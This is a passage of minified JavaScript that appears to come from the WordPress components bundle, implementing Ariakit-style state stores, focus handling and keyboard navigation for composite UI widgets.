()=>RB,privateApis:()=>X$,useBaseControlProps:()=>Dw,useNavigator:()=>Jz,withConstrainedTabbing:()=>MB,withFallbackStyles:()=>AB,withFilters:()=>OB,withFocusOutside:()=>QN,withFocusReturn:()=>LB,withNotices:()=>BB,withSpokenMessages:()=>cz});var e={};o.r(e),o.d(e,{Text:()=>Ev,block:()=>Pv,destructive:()=>Tv,highlighterText:()=>Rv,muted:()=>Iv,positive:()=>Nv,upperCase:()=>Mv});var t={};o.r(t),o.d(t,{Rp:()=>P_,y0:()=>S_,uG:()=>k_,eh:()=>C_});const n=window.wp.primitives;function r(e){var t,n,o="";if("string"==typeof e||"number"==typeof e)o+=e;else if("object"==typeof e)if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=r(e[t]))&&(o&&(o+=" "),o+=n)}else for(n in e)e[n]&&(o&&(o+=" "),o+=n);return o}const s=function(){for(var e,t,n=0,o="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=r(e))&&(o&&(o+=" "),o+=t);return o},a=window.wp.i18n,l=window.wp.compose,c=window.wp.element;var u=Object.defineProperty,d=Object.defineProperties,p=Object.getOwnPropertyDescriptors,f=Object.getOwnPropertySymbols,h=Object.prototype.hasOwnProperty,m=Object.prototype.propertyIsEnumerable,g=(e,t,n)=>t in e?u(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,v=(e,t)=>{for(var n in t||(t={}))h.call(t,n)&&g(e,n,t[n]);if(f)for(var n of f(t))m.call(t,n)&&g(e,n,t[n]);return e},b=(e,t)=>d(e,p(t)),x=(e,t)=>{var n={};for(var r in e)h.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&f)for(var r of f(e))t.indexOf(r)<0&&m.call(e,r)&&(n[r]=e[r]);return n},y=Object.defineProperty,w=Object.defineProperties,_=Object.getOwnPropertyDescriptors,S=Object.getOwnPropertySymbols,C=Object.prototype.hasOwnProperty,k=Object.prototype.propertyIsEnumerable,j=(e,t,n)=>t in e?y(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,E=(e,t)=>{for(var n in t||(t={}))C.call(t,n)&&j(e,n,t[n]);if(S)for(var n of S(t))k.call(t,n)&&j(e,n,t[n]);return e},P=(e,t)=>w(e,_(t)),N=(e,t)=>{var n={};for(var r in e)C.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&S)for(var r of S(e))t.indexOf(r)<0&&k.call(e,r)&&(n[r]=e[r]);return n};function T(...e){}function I(e,t){if(function(e){return"function"==typeof e}(e)){return e(function(e){return"function"==typeof e}(t)?t():t)}return e}function R(e,t){return"function"==typeof Object.hasOwn?Object.hasOwn(e,t):Object.prototype.hasOwnProperty.call(e,t)}function M(...e){return(...t)=>{for(const n of e)"function"==typeof n&&n(...t)}}function A(e){return e}function D(e,t){if(!e){if("string"!=typeof t)throw new Error("Invariant failed");throw new Error(t)}}function z(e,...t){const n="function"==typeof e?e(...t):e;return null!=n&&!n}function O(e){return e.disabled||!0===e["aria-disabled"]||"true"===e["aria-disabled"]}function L(e){const t={};for(const n in e)void 0!==e[n]&&(t[n]=e[n]);return t}function F(...e){for(const t of e)if(void 0!==t)return t}var B=o(1609),V=o.t(B,2),$=o.n(B);function H(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function W(e){if(!function(e){return!!e&&!!(0,B.isValidElement)(e)&&("ref"in e.props||"ref"in e)}(e))return null;return v({},e.props).ref||e.ref}var U,G="undefined"!=typeof window&&!!(null==(U=window.document)?void 0:U.createElement);function K(e){return e?"self"in e?e.document:e.ownerDocument||document:document}function q(e){return e?"self"in e?e.self:K(e).defaultView||window:self}function Y(e,t=!1){const{activeElement:n}=K(e);if(!(null==n?void 0:n.nodeName))return null;if(Z(n)&&n.contentDocument)return Y(n.contentDocument.body,t);if(t){const e=n.getAttribute("aria-activedescendant");if(e){const t=K(n).getElementById(e);if(t)return t}}return n}function X(e,t){return e===t||e.contains(t)}function Z(e){return"IFRAME"===e.tagName}function Q(e){const t=e.tagName.toLowerCase();return"button"===t||!("input"!==t||!e.type)&&-1!==J.indexOf(e.type)}var J=["button","color","file","image","reset","submit"];function ee(e){if("function"==typeof e.checkVisibility)return e.checkVisibility();const t=e;return t.offsetWidth>0||t.offsetHeight>0||e.getClientRects().length>0}function te(e){try{const t=e instanceof HTMLInputElement&&null!==e.selectionStart,n="TEXTAREA"===e.tagName;return t||n||!1}catch(e){return!1}}function ne(e){return e.isContentEditable||te(e)}function re(e,t){const n=null==e?void 0:e.getAttribute("role");return n&&-1!==["dialog","menu","listbox","tree","grid"].indexOf(n)?n:t}function oe(e,t){var n;const r=re(e);if(!r)return t;return null!=(n={menu:"menuitem",listbox:"option",tree:"treeitem"}[r])?n:t}function ie(e){if(!e)return null;const t=e=>"auto"===e||"scroll"===e;if(e.clientHeight&&e.scrollHeight>e.clientHeight){const{overflowY:n}=getComputedStyle(e);if(t(n))return e}else if(e.clientWidth&&e.scrollWidth>e.clientWidth){const{overflowX:n}=getComputedStyle(e);if(t(n))return e}return ie(e.parentElement)||document.scrollingElement||document.body}function se(e,t){const n=e.map(((e,t)=>[t,e]));let r=!1;return n.sort((([e,n],[o,i])=>{const s=t(n),a=t(i);return s===a?0:s&&a?function(e,t){return Boolean(t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_PRECEDING)}(s,a)?(e>o&&(r=!0),-1):(e<o&&(r=!0),1):0})),r?n.map((([e,t])=>t)):e}function ae(){return!!G&&/mac|iphone|ipad|ipod/i.test(navigator.platform)}function le(){return G&&ae()&&/apple/i.test(navigator.vendor)}function ce(){return G&&navigator.platform.startsWith("Mac")&&!(G&&navigator.maxTouchPoints)}function ue(e){return Boolean(e.currentTarget&&!X(e.currentTarget,e.target))}function de(e){return e.target===e.currentTarget}function pe(e){const t=e.currentTarget;if(!t)return!1;const n=ae();if(n&&!e.metaKey)return!1;if(!n&&!e.ctrlKey)return!1;const r=t.tagName.toLowerCase();return"a"===r||("button"===r&&"submit"===t.type||"input"===r&&"submit"===t.type)}function fe(e){const t=e.currentTarget;if(!t)return!1;const n=t.tagName.toLowerCase();return!!e.altKey&&("a"===n||("button"===n&&"submit"===t.type||"input"===n&&"submit"===t.type))}function he(e,t){const n=new FocusEvent("blur",t),r=e.dispatchEvent(n),o=P(E({},t),{bubbles:!0});return e.dispatchEvent(new FocusEvent("focusout",o)),r}function me(e,t){const n=new MouseEvent("click",t);return e.dispatchEvent(n)}function ge(e,t){const n=t||e.currentTarget,r=e.relatedTarget;return!r||!X(n,r)}function ve(e,t,n,r){const o=(e=>{if(r){const t=setTimeout(e,r);return()=>clearTimeout(t)}const t=requestAnimationFrame(e);return()=>cancelAnimationFrame(t)})((()=>{e.removeEventListener(t,i,!0),n()})),i=()=>{o(),n()};return e.addEventListener(t,i,{once:!0,capture:!0}),o}function be(e,t,n,r=window){const o=[];try{r.document.addEventListener(e,t,n);for(const i of Array.from(r.frames))o.push(be(e,t,n,i))}catch(e){}return()=>{try{r.document.removeEventListener(e,t,n)}catch(e){}for(const e of o)e()}}var xe=v({},V),ye=xe.useId,we=(xe.useDeferredValue,xe.useInsertionEffect),_e=G?B.useLayoutEffect:B.useEffect;function Se(e){const[t]=(0,B.useState)(e);return t}function Ce(e){const t=(0,B.useRef)(e);return _e((()=>{t.current=e})),t}function ke(e){const t=(0,B.useRef)((()=>{throw new Error("Cannot call an event handler while rendering.")}));return we?we((()=>{t.current=e})):t.current=e,(0,B.useCallback)(((...e)=>{var n;return null==(n=t.current)?void 0:n.call(t,...e)}),[])}function je(e){const[t,n]=(0,B.useState)(null);return _e((()=>{if(null==t)return;if(!e)return;let n=null;return e((e=>(n=e,t))),()=>{e(n)}}),[t,e]),[t,n]}function Ee(...e){return(0,B.useMemo)((()=>{if(e.some(Boolean))return t=>{for(const n of e)H(n,t)}}),e)}function Pe(e){if(ye){const t=ye();return e||t}const[t,n]=(0,B.useState)(e);return _e((()=>{if(e||t)return;const r=Math.random().toString(36).slice(2,8);n(`id-${r}`)}),[e,t]),e||t}function Ne(e,t){const n=e=>{if("string"==typeof e)return e},[r,o]=(0,B.useState)((()=>n(t)));return _e((()=>{const r=e&&"current"in e?e.current:e;o((null==r?void 0:r.tagName.toLowerCase())||n(t))}),[e,t]),r}function Te(e,t){const n=(0,B.useRef)(!1);(0,B.useEffect)((()=>{if(n.current)return e();n.current=!0}),t),(0,B.useEffect)((()=>()=>{n.current=!1}),[])}function Ie(){return(0,B.useReducer)((()=>[]),[])}function Re(e){return ke("function"==typeof e?e:()=>e)}function Me(e,t,n=[]){const r=(0,B.useCallback)((n=>(e.wrapElement&&(n=e.wrapElement(n)),t(n))),[...n,e.wrapElement]);return b(v({},e),{wrapElement:r})}function Ae(e=!1,t){const[n,r]=(0,B.useState)(null);return{portalRef:Ee(r,t),portalNode:n,domReady:!e||n}}function De(e,t,n){const r=e.onLoadedMetadataCapture,o=(0,B.useMemo)((()=>Object.assign((()=>{}),b(v({},r),{[t]:n}))),[r,t,n]);return[null==r?void 0:r[t],{onLoadedMetadataCapture:o}]}function ze(){(0,B.useEffect)((()=>{be("mousemove",Be,!0),be("mousedown",Ve,!0),be("mouseup",Ve,!0),be("keydown",Ve,!0),be("scroll",Ve,!0)}),[]);return ke((()=>Oe))}var Oe=!1,Le=0,Fe=0;function Be(e){(function(e){const t=e.movementX||e.screenX-Le,n=e.movementY||e.screenY-Fe;return Le=e.screenX,Fe=e.screenY,t||n||!1})(e)&&(Oe=!0)}function Ve(){Oe=!1}function $e(e,t){const n=e.__unstableInternals;return D(n,"Invalid store"),n[t]}function He(e,...t){let n=e,r=n,o=Symbol(),i=T;const s=new Set,a=new Set,l=new Set,c=new Set,u=new Set,d=new WeakMap,p=new WeakMap,f=(e,t,n=c)=>(n.add(t),p.set(t,e),()=>{var e;null==(e=d.get(t))||e(),d.delete(t),p.delete(t),n.delete(t)}),h=(e,i,s=!1)=>{var l;if(!R(n,e))return;const f=I(i,n[e]);if(f===n[e])return;if(!s)for(const n of t)null==(l=null==n?void 0:n.setState)||l.call(n,e,f);const h=n;n=P(E({},n),{[e]:f});const m=Symbol();o=m,a.add(e);const g=(t,r,o)=>{var i;const s=p.get(t);s&&!s.some((t=>o?o.has(t):t===e))||(null==(i=d.get(t))||i(),d.set(t,t(n,r)))};for(const e of c)g(e,h);queueMicrotask((()=>{if(o!==m)return;const e=n;for(const e of u)g(e,r,a);r=e,a.clear()}))},m={getState:()=>n,setState:h,__unstableInternals:{setup:e=>(l.add(e),()=>l.delete(e)),init:()=>{const e=s.size,r=Symbol();s.add(r);const o=()=>{s.delete(r),s.size||i()};if(e)return o;const a=(c=n,Object.keys(c)).map((e=>M(...t.map((t=>{var n;const r=null==(n=null==t?void 0:t.getState)?void 0:n.call(t);if(r&&R(r,e))return Ke(t,[e],(t=>{h(e,t[e],!0)}))})))));var c;const u=[];for(const e of l)u.push(e());const d=t.map(Ue);return i=M(...a,...u,...d),o},subscribe:(e,t)=>f(e,t),sync:(e,t)=>(d.set(t,t(n,n)),f(e,t)),batch:(e,t)=>(d.set(t,t(n,r)),f(e,t,u)),pick:e=>He(function(e,t){const n={};for(const r of t)R(e,r)&&(n[r]=e[r]);return n}(n,e),m),omit:e=>He(function(e,t){const n=E({},e);for(const e of t)R(n,e)&&delete n[e];return n}(n,e),m)}};return m}function We(e,...t){if(e)return $e(e,"setup")(...t)}function Ue(e,...t){if(e)return $e(e,"init")(...t)}function Ge(e,...t){if(e)return $e(e,"subscribe")(...t)}function Ke(e,...t){if(e)return $e(e,"sync")(...t)}function qe(e,...t){if(e)return $e(e,"batch")(...t)}function Ye(e,...t){if(e)return $e(e,"omit")(...t)}function Xe(...e){const t=e.reduce(((e,t)=>{var n;const r=null==(n=null==t?void 0:t.getState)?void 0:n.call(t);return r?Object.assign(e,r):e}),{}),n=He(t,...e);return Object.assign({},...e,n)}var Ze=o(422),{useSyncExternalStore:Qe}=Ze,Je=()=>()=>{};function et(e,t=A){const n=B.useCallback((t=>e?Ge(e,null,t):Je()),[e]),r=()=>{const n="string"==typeof t?t:null,r="function"==typeof t?t:null,o=null==e?void 0:e.getState();return r?r(o):o&&n&&R(o,n)?o[n]:void 0};return Qe(n,r,r)}function tt(e,t){const n=B.useRef({}),r=B.useCallback((t=>e?Ge(e,null,t):Je()),[e]),o=()=>{const r=null==e?void 0:e.getState();let o=!1;const i=n.current;for(const e in t){const n=t[e];if("function"==typeof n){const t=n(r);t!==i[e]&&(i[e]=t,o=!0)}if("string"==typeof n){if(!r)continue;if(!R(r,n))continue;const t=r[n];t!==i[e]&&(i[e]=t,o=!0)}}return o&&(n.current=v({},i)),n.current};return Qe(r,o,o)}function nt(e,t,n,r){const o=R(t,n)?t[n]:void 0,i=r?t[r]:void 0,s=Ce({value:o,setValue:i});_e((()=>Ke(e,[n],((e,t)=>{const{value:r,setValue:o}=s.current;o&&e[n]!==t[n]&&e[n]!==r&&o(e[n])}))),[e,n]),_e((()=>{if(void 0!==o)return e.setState(n,o),qe(e,[n],(()=>{void 0!==o&&e.setState(n,o)}))}))}function rt(e,t){const[n,r]=B.useState((()=>e(t)));_e((()=>Ue(n)),[n]);const o=B.useCallback((e=>et(n,e)),[n]);return[B.useMemo((()=>b(v({},n),{useState:o})),[n,o]),ke((()=>{r((n=>e(v(v({},t),n.getState()))))}))]}function ot(e,t,n){return Te(t,[n.store]),nt(e,n,"items","setItems"),e}function it(e={}){var t;e.store;const n=null==(t=e.store)?void 0:t.getState(),r=F(e.items,null==n?void 0:n.items,e.defaultItems,[]),o=new Map(r.map((e=>[e.id,e]))),i={items:r,renderedItems:F(null==n?void 0:n.renderedItems,[])},s=null==(a=e.store)?void 0:a.__unstablePrivateStore;var a;const l=He({items:r,renderedItems:i.renderedItems},s),c=He(i,e.store),u=e=>{const t=se(e,(e=>e.element));l.setState("renderedItems",t),c.setState("renderedItems",t)};We(c,(()=>Ue(l))),We(l,(()=>qe(l,["items"],(e=>{c.setState("items",e.items)})))),We(l,(()=>qe(l,["renderedItems"],(e=>{let t=!0,n=requestAnimationFrame((()=>{const{renderedItems:t}=c.getState();e.renderedItems!==t&&u(e.renderedItems)}));if("function"!=typeof IntersectionObserver)return()=>cancelAnimationFrame(n);const r=function(e){var t;const n=e.find((e=>!!e.element)),r=[...e].reverse().find((e=>!!e.element));let o=null==(t=null==n?void 0:n.element)?void 0:t.parentElement;for(;o&&(null==r?void 0:r.element);){if(r&&o.contains(r.element))return o;o=o.parentElement}return K(o).body}(e.renderedItems),o=new IntersectionObserver((()=>{t?t=!1:(cancelAnimationFrame(n),n=requestAnimationFrame((()=>u(e.renderedItems))))}),{root:r});for(const t of e.renderedItems)t.element&&o.observe(t.element);return()=>{cancelAnimationFrame(n),o.disconnect()}}))));const d=(e,t,n=!1)=>{let r;t((t=>{const n=t.findIndex((({id:t})=>t===e.id)),i=t.slice();if(-1!==n){r=t[n];const s=E(E({},r),e);i[n]=s,o.set(e.id,s)}else i.push(e),o.set(e.id,e);return i}));return()=>{t((t=>{if(!r)return n&&o.delete(e.id),t.filter((({id:t})=>t!==e.id));const i=t.findIndex((({id:t})=>t===e.id));if(-1===i)return t;const s=t.slice();return s[i]=r,o.set(e.id,r),s}))}},p=e=>d(e,(e=>l.setState("items",e)),!0);return P(E({},c),{registerItem:p,renderItem:e=>M(p(e),d(e,(e=>l.setState("renderedItems",e)))),item:e=>{if(!e)return null;let t=o.get(e);if(!t){const{items:n}=l.getState();t=n.find((t=>t.id===e)),t&&o.set(e,t)}return t||null},__unstablePrivateStore:l})}function st(e){return Array.isArray(e)?e:void 0!==e?[e]:[]}function at(e){const t=[];for(const n of e)t.push(...n);return t}function lt(e){return e.slice().reverse()}var ct={id:null};function ut(e,t){return e.find((e=>t?!e.disabled&&e.id!==t:!e.disabled))}function dt(e,t){return e.filter((e=>e.rowId===t))}function pt(e){const t=[];for(const n of e){const e=t.find((e=>{var t;return(null==(t=e[0])?void 0:t.rowId)===n.rowId}));e?e.push(n):t.push([n])}return t}function ft(e){let t=0;for(const{length:n}of e)n>t&&(t=n);return t}function ht(e={}){var t;const n=null==(t=e.store)?void 0:t.getState(),r=it(e),o=F(e.activeId,null==n?void 0:n.activeId,e.defaultActiveId),i=He(P(E({},r.getState()),{id:F(e.id,null==n?void 0:n.id,`id-${Math.random().toString(36).slice(2,8)}`),activeId:o,baseElement:F(null==n?void 0:n.baseElement,null),includesBaseElement:F(e.includesBaseElement,null==n?void 0:n.includesBaseElement,null===o),moves:F(null==n?void 0:n.moves,0),orientation:F(e.orientation,null==n?void 0:n.orientation,"both"),rtl:F(e.rtl,null==n?void 0:n.rtl,!1),virtualFocus:F(e.virtualFocus,null==n?void 0:n.virtualFocus,!1),focusLoop:F(e.focusLoop,null==n?void 0:n.focusLoop,!1),focusWrap:F(e.focusWrap,null==n?void 0:n.focusWrap,!1),focusShift:F(e.focusShift,null==n?void 0:n.focusShift,!1)}),r,e.store);We(i,(()=>Ke(i,["renderedItems","activeId"],(e=>{i.setState("activeId",(t=>{var n;return void 0!==t?t:null==(n=ut(e.renderedItems))?void 0:n.id}))}))));const s=(e="next",t={})=>{var n,r;const o=i.getState(),{skip:s=0,activeId:a=o.activeId,focusShift:l=o.focusShift,focusLoop:c=o.focusLoop,focusWrap:u=o.focusWrap,includesBaseElement:d=o.includesBaseElement,renderedItems:p=o.renderedItems,rtl:f=o.rtl}=t,h="up"===e||"down"===e,m="next"===e||"down"===e,g=m?f&&!h:!f||h,v=l&&!s;let b=h?at(function(e,t,n){const r=ft(e);for(const o of e)for(let e=0;e<r;e+=1){const r=o[e];if(!r||n&&r.disabled){const r=0===e&&n?ut(o):o[e-1];o[e]=r&&t!==r.id&&n?r:{id:"__EMPTY_ITEM__",disabled:!0,rowId:null==r?void 0:r.rowId}}}return e}(pt(p),a,v)):p;if(b=g?lt(b):b,b=h?function(e){const t=pt(e),n=ft(t),r=[];for(let e=0;e<n;e+=1)for(const n of t){const t=n[e];t&&r.push(P(E({},t),{rowId:t.rowId?`${e}`:void 0}))}return r}(b):b,null==a)return null==(n=ut(b))?void 0:n.id;const x=b.find((e=>e.id===a));if(!x)return null==(r=ut(b))?void 0:r.id;const y=b.some((e=>e.rowId)),w=b.indexOf(x),_=b.slice(w+1),S=dt(_,x.rowId);if(s){const e=function(e,t){return e.filter((e=>t?!e.disabled&&e.id!==t:!e.disabled))}(S,a),t=e.slice(s)[0]||e[e.length-1];return null==t?void 0:t.id}const C=c&&(h?"horizontal"!==c:"vertical"!==c),k=y&&u&&(h?"horizontal"!==u:"vertical"!==u),j=m?(!y||h)&&C&&d:!!h&&d;if(C){const e=function(e,t,n=!1){const r=e.findIndex((e=>e.id===t));return[...e.slice(r+1),...n?[ct]:[],...e.slice(0,r)]}(k&&!j?b:dt(b,x.rowId),a,j),t=ut(e,a);return null==t?void 0:t.id}if(k){const e=ut(j?S:_,a);return j?(null==e?void 0:e.id)||null:null==e?void 0:e.id}const N=ut(S,a);return!N&&j?null:null==N?void 0:N.id};return P(E(E({},r),i),{setBaseElement:e=>i.setState("baseElement",e),setActiveId:e=>i.setState("activeId",e),move:e=>{void 0!==e&&(i.setState("activeId",e),i.setState("moves",(e=>e+1)))},first:()=>{var e;return null==(e=ut(i.getState().renderedItems))?void 0:e.id},last:()=>{var e;return null==(e=ut(lt(i.getState().renderedItems)))?void 0:e.id},next:e=>(void 0!==e&&"number"==typeof e&&(e={skip:e}),s("next",e)),previous:e=>(void 0!==e&&"number"==typeof e&&(e={skip:e}),s("previous",e)),down:e=>(void 0!==e&&"number"==typeof e&&(e={skip:e}),s("down",e)),up:e=>(void 0!==e&&"number"==typeof e&&(e={skip:e}),s("up",e))})}function mt(e){const t=Pe(e.id);return v({id:t},e)}function gt(e,t,n){return nt(e=ot(e,t,n),n,"activeId","setActiveId"),nt(e,n,"includesBaseElement"),nt(e,n,"virtualFocus"),nt(e,n,"orientation"),nt(e,n,"rtl"),nt(e,n,"focusLoop"),nt(e,n,"focusWrap"),nt(e,n,"focusShift"),e}function vt(e={}){e=mt(e);const[t,n]=rt(ht,e);return gt(t,n,e)}var bt={id:null};function xt(e,t){return t&&e.item(t)||null}var yt=Symbol("FOCUS_SILENTLY");function wt(e,t,n){if(!t)return!1;if(t===n)return!1;const r=e.item(t.id);return!!r&&(!n||r.element!==n)}const _t=window.ReactJSXRuntime;function St(e){const t=B.forwardRef(((t,n)=>e(b(v({},t),{ref:n}))));return t.displayName=e.displayName||e.name,t}function Ct(e,t){return B.memo(e,t)}function kt(e,t){const n=t,{wrapElement:r,render:o}=n,i=x(n,["wrapElement","render"]),s=Ee(t.ref,W(o));let a;if(B.isValidElement(o)){const e=b(v({},o.props),{ref:s});a=B.cloneElement(o,function(e,t){const n=v({},e);for(const r in t){if(!R(t,r))continue;if("className"===r){const r="className";n[r]=e[r]?`${e[r]} ${t[r]}`:t[r];continue}if("style"===r){const r="style";n[r]=e[r]?v(v({},e[r]),t[r]):t[r];continue}const o=t[r];if("function"==typeof o&&r.startsWith("on")){const t=e[r];if("function"==typeof t){n[r]=(...e)=>{o(...e),t(...e)};continue}}n[r]=o}return n}(i,e))}else a=o?o(i):(0,_t.jsx)(e,v({},i));return r?r(a):a}function jt(e){const t=(t={})=>e(t);return t.displayName=e.name,t}function Et(e=[],t=[]){const n=B.createContext(void 0),r=B.createContext(void 0),o=()=>B.useContext(n),i=t=>e.reduceRight(((e,n)=>(0,_t.jsx)(n,b(v({},t),{children:e}))),(0,_t.jsx)(n.Provider,v({},t)));return{context:n,scopedContext:r,useContext:o,useScopedContext:(e=!1)=>{const t=B.useContext(r),n=o();return e?t:t||n},useProviderContext:()=>{const e=B.useContext(r),t=o();if(!e||e!==t)return t},ContextProvider:i,ScopedContextProvider:e=>(0,_t.jsx)(i,b(v({},e),{children:t.reduceRight(((t,n)=>(0,_t.jsx)(n,b(v({},e),{children:t}))),(0,_t.jsx)(r.Provider,v({},e)))}))}}var Pt=Et(),Nt=Pt.useContext,Tt=(Pt.useScopedContext,Pt.useProviderContext,Et([Pt.ContextProvider],[Pt.ScopedContextProvider])),It=Tt.useContext,Rt=(Tt.useScopedContext,Tt.useProviderContext),Mt=Tt.ContextProvider,At=Tt.ScopedContextProvider,Dt=(0,B.createContext)(void 0),zt=(0,B.createContext)(void 0),Ot=(0,B.createContext)(!0),Lt="input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";function Ft(e){return!!e.matches(Lt)&&(!!ee(e)&&!e.closest("[inert]"))}function Bt(e){if(!Ft(e))return!1;if(function(e){return Number.parseInt(e.getAttribute("tabindex")||"0",10)<0}(e))return!1;if(!("form"in e))return!0;if(!e.form)return!0;if(e.checked)return!0;if("radio"!==e.type)return!0;const t=e.form.elements.namedItem(e.name);if(!t)return!0;if(!("length"in t))return!0;const n=Y(e);return!n||(n===e||(!("form"in n)||(n.form!==e.form||n.name!==e.name)))}function Vt(e,t){const n=Array.from(e.querySelectorAll(Lt));t&&n.unshift(e);const r=n.filter(Ft);return r.forEach(((e,t)=>{if(Z(e)&&e.contentDocument){const n=e.contentDocument.body;r.splice(t,1,...Vt(n))}})),r}function $t(e,t,n){const r=Array.from(e.querySelectorAll(Lt)),o=r.filter(Bt);return t&&Bt(e)&&o.unshift(e),o.forEach(((e,t)=>{if(Z(e)&&e.contentDocument){const r=$t(e.contentDocument.body,!1,n);o.splice(t,1,...r)}})),!o.length&&n?r:o}function Ht(e,t,n){const[r]=$t(e,t,n);return r||null}function Wt(e,t){return function(e,t,n,r){const o=Y(e),i=Vt(e,t),s=i.indexOf(o),a=i.slice(s+1);return a.find(Bt)||(n?i.find(Bt):null)||(r?a[0]:null)||null}(document.body,!1,e,t)}function Ut(e,t){return function(e,t,n,r){const o=Y(e),i=Vt(e,t).reverse(),s=i.indexOf(o),a=i.slice(s+1);return a.find(Bt)||(n?i.find(Bt):null)||(r?a[0]:null)||null}(document.body,!1,e,t)}function Gt(e){const t=Y(e);if(!t)return!1;if(t===e)return!0;const n=t.getAttribute("aria-activedescendant");return!!n&&n===e.id}function Kt(e){const t=Y(e);if(!t)return!1;if(X(e,t))return!0;const n=t.getAttribute("aria-activedescendant");return!!n&&("id"in e&&(n===e.id||!!e.querySelector(`#${CSS.escape(n)}`)))}function qt(e){!Kt(e)&&Ft(e)&&e.focus()}function Yt(e){var t;const n=null!=(t=e.getAttribute("tabindex"))?t:"";e.setAttribute("data-tabindex",n),e.setAttribute("tabindex","-1")}var Xt=le(),Zt=["text","search","url","tel","email","password","number","date","month","week","time","datetime","datetime-local"],Qt=Symbol("safariFocusAncestor");function Jt(e,t){e&&(e[Qt]=t)}function en(e){return!("input"!==e.tagName.toLowerCase()||!e.type)&&("radio"===e.type||"checkbox"===e.type)}function tn(e,t,n,r,o){return e?t?n&&!r?-1:void 0:n?o:o||0:o}function nn(e,t){return ke((n=>{null==e||e(n),n.defaultPrevented||t&&(n.stopPropagation(),n.preventDefault())}))}var rn=!0;function on(e){const t=e.target;t&&"hasAttribute"in t&&(t.hasAttribute("data-focus-visible")||(rn=!1))}function sn(e){e.metaKey||e.ctrlKey||e.altKey||(rn=!0)}var an=jt((function(e){var t=e,{focusable:n=!0,accessibleWhenDisabled:r,autoFocus:o,onFocusVisible:i}=t,s=x(t,["focusable","accessibleWhenDisabled","autoFocus","onFocusVisible"]);const a=(0,B.useRef)(null);(0,B.useEffect)((()=>{n&&(be("mousedown",on,!0),be("keydown",sn,!0))}),[n]),Xt&&(0,B.useEffect)((()=>{if(!n)return;const e=a.current;if(!e)return;if(!en(e))return;const t=function(e){return"labels"in e?e.labels:null}(e);if(!t)return;const r=()=>queueMicrotask((()=>e.focus()));for(const e of t)e.addEventListener("mouseup",r);return()=>{for(const e of t)e.removeEventListener("mouseup",r)}}),[n]);const l=n&&O(s),c=!!l&&!r,[u,d]=(0,B.useState)(!1);(0,B.useEffect)((()=>{n&&c&&u&&d(!1)}),[n,c,u]),(0,B.useEffect)((()=>{if(!n)return;if(!u)return;const e=a.current;if(!e)return;if("undefined"==typeof IntersectionObserver)return;const t=new IntersectionObserver((()=>{Ft(e)||d(!1)}));return t.observe(e),()=>t.disconnect()}),[n,u]);const p=nn(s.onKeyPressCapture,l),f=nn(s.onMouseDownCapture,l),h=nn(s.onClickCapture,l),m=s.onMouseDown,g=ke((e=>{if(null==m||m(e),e.defaultPrevented)return;if(!n)return;const t=e.currentTarget;if(!Xt)return;if(ue(e))return;if(!Q(t)&&!en(t))return;let r=!1;const o=()=>{r=!0};t.addEventListener("focusin",o,{capture:!0,once:!0});const i=function(e){for(;e&&!Ft(e);)e=e.closest(Lt);return e||null}(t.parentElement);Jt(i,!0),ve(t,"mouseup",(()=>{t.removeEventListener("focusin",o,!0),Jt(i,!1),r||qt(t)}))})),y=(e,t)=>{if(t&&(e.currentTarget=t),!n)return;const r=e.currentTarget;r&&Gt(r)&&(null==i||i(e),e.defaultPrevented||(r.dataset.focusVisible="true",d(!0)))},w=s.onKeyDownCapture,_=ke((e=>{if(null==w||w(e),e.defaultPrevented)return;if(!n)return;if(u)return;if(e.metaKey)return;if(e.altKey)return;if(e.ctrlKey)return;if(!de(e))return;const t=e.currentTarget;ve(t,"focusout",(()=>y(e,t)))})),S=s.onFocusCapture,C=ke((e=>{if(null==S||S(e),e.defaultPrevented)return;if(!n)return;if(!de(e))return void d(!1);const t=e.currentTarget,r=()=>y(e,t);rn||function(e){const{tagName:t,readOnly:n,type:r}=e;return"TEXTAREA"===t&&!n||("SELECT"===t&&!n||("INPUT"!==t||n?!!e.isContentEditable||!("combobox"!==e.getAttribute("role")||!e.dataset.name):Zt.includes(r)))}(e.target)?ve(e.target,"focusout",r):d(!1)})),k=s.onBlur,j=ke((e=>{null==k||k(e),n&&ge(e)&&d(!1)})),E=(0,B.useContext)(Ot),P=ke((e=>{n&&o&&e&&E&&queueMicrotask((()=>{Gt(e)||Ft(e)&&e.focus()}))})),N=Ne(a),T=n&&function(e){return!e||"button"===e||"summary"===e||"input"===e||"select"===e||"textarea"===e||"a"===e}(N),I=n&&function(e){return!e||"button"===e||"input"===e||"select"===e||"textarea"===e}(N),R=s.style,M=(0,B.useMemo)((()=>c?v({pointerEvents:"none"},R):R),[c,R]);return L(s=b(v({"data-focus-visible":n&&u||void 0,"data-autofocus":o||void 0,"aria-disabled":l||void 0},s),{ref:Ee(a,P,s.ref),style:M,tabIndex:tn(n,c,T,I,s.tabIndex),disabled:!(!I||!c)||void 0,contentEditable:l?void 0:s.contentEditable,onKeyPressCapture:p,onClickCapture:h,onMouseDownCapture:f,onMouseDown:g,onKeyDownCapture:_,onFocusCapture:C,onBlur:j}))}));St((function(e){return kt("div",an(e))}));function ln(e,t,n){return ke((r=>{var o;if(null==t||t(r),r.defaultPrevented)return;if(r.isPropagationStopped())return;if(!de(r))return;if(function(e){return"Shift"===e.key||"Control"===e.key||"Alt"===e.key||"Meta"===e.key}(r))return;if(function(e){const t=e.target;return!(t&&!te(t)||1!==e.key.length||e.ctrlKey||e.metaKey)}(r))return;const i=e.getState(),s=null==(o=xt(e,i.activeId))?void 0:o.element;if(!s)return;const a=r,{view:l}=a,c=x(a,["view"]);s!==(null==n?void 0:n.current)&&s.focus(),function(e,t,n){const r=new KeyboardEvent(t,n);return e.dispatchEvent(r)}(s,r.type,c)||r.preventDefault(),r.currentTarget.contains(s)&&r.stopPropagation()}))}var cn=jt((function(e){var 